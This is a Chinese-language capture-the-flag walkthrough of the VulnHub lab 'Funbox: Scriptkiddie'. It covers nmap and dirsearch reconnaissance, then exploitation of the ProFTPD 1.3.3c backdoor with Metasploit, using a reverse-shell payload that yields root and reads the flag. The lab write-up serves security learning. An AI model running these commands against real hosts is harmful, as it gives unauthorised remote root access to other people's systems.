Vulnhub靶场之Funbox

正如该靶场的描述所说，它对初学者来说非常简单。
项目地址：Funbox: Scriptkiddie ~ VulnHub
所需工具： KaliLinux即可。

0x00 信息收集

打开虚拟机后使用nmap扫描一下网段存活，这里我给的虚拟机的范围是100-253,其中kali的IP是100，所以NAT模式下，靶机肯定在我扫描的这个范围。

由图可见，靶机的IP是192.168.2.126，接下来我们来扫描一下该主机的默认端口及服务版本。

nmap -sV 192.168.2.126  # 获取常用端口及其端口所对应的服务版本信息

0x02 目录扫描

有80端口的话，先扫一下目录~

dirsearch -u http://192.168.2.126

可以发现扫到了很多wp开头的路径，很显然这个网站是一个Wordpress框架，那么我们可以看看有没有相关文件可以看到Wordpress的版本信息

通过查看源代码，我们可以看到wordpress的版本号为6.3.2。

使用kali在漏洞库中搜索版本号相关信息，没有发现相关漏洞信息。后面通过wpscan扫描了一下也没有发现什么可以利用的东西，都是一些指纹信息。说明这道题的考点可能不在80端口。我们转换一下攻击方向看看其他端口有什么情况。

0x03 ftp ProFTPD 1.3.3c

接下来，我们将目标转向21号端口，首先尝试一下匿名登录。

可以看到拒绝访问，应该是没有开匿名登录的功能，接下来在漏洞库搜下版本号。

searchpol

**我们可以看到有两条利用信息，其中第一条是远程代码执行，后面给了个绝对路径，是一个txt文件，里面是漏洞利用的源码；第二条是命令执行，可以直接通过Metasploit来利用，我们可以直接通过msf来利用，这里我们使用第二条

0x04 Metasploit

打开Metasploit并搜索相关漏洞信息。

msfconsole
msf6 > search ProFTPD 1.3.3c

可以看到，准确搜索，刚好就是我们想要利用的模块。直接进入该模块配置相关信息。

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts 192.168.2.126
rhosts => 192.168.2.126
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost eth0
lhost => eth0
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

可以看到，等个大概一分钟，成功获取了靶机的控制权。

0x05 获取FLAG

ls /root
cat /root/root.txt

0x06 总结

1. 信息收集 -> 获取目标IP
2. 端口扫描 -> 获取目标IP的端口开放情况及服务版本信息
3. Web端口 -> 目录扫描获取敏感信息，如果是CMS就通过版本信息搜索历史漏洞，如果不是就手工测试
4. 其他服务端口 -> 通过服务版本在漏洞库搜索相关漏洞信息
5. 通过FTP漏洞获取ROOT权限。
6. 之所以说这道题简单，是因为msf攻击成功后直接是root权，不需要其他的提权操作，所以说对新手来说的话还是比较简单的。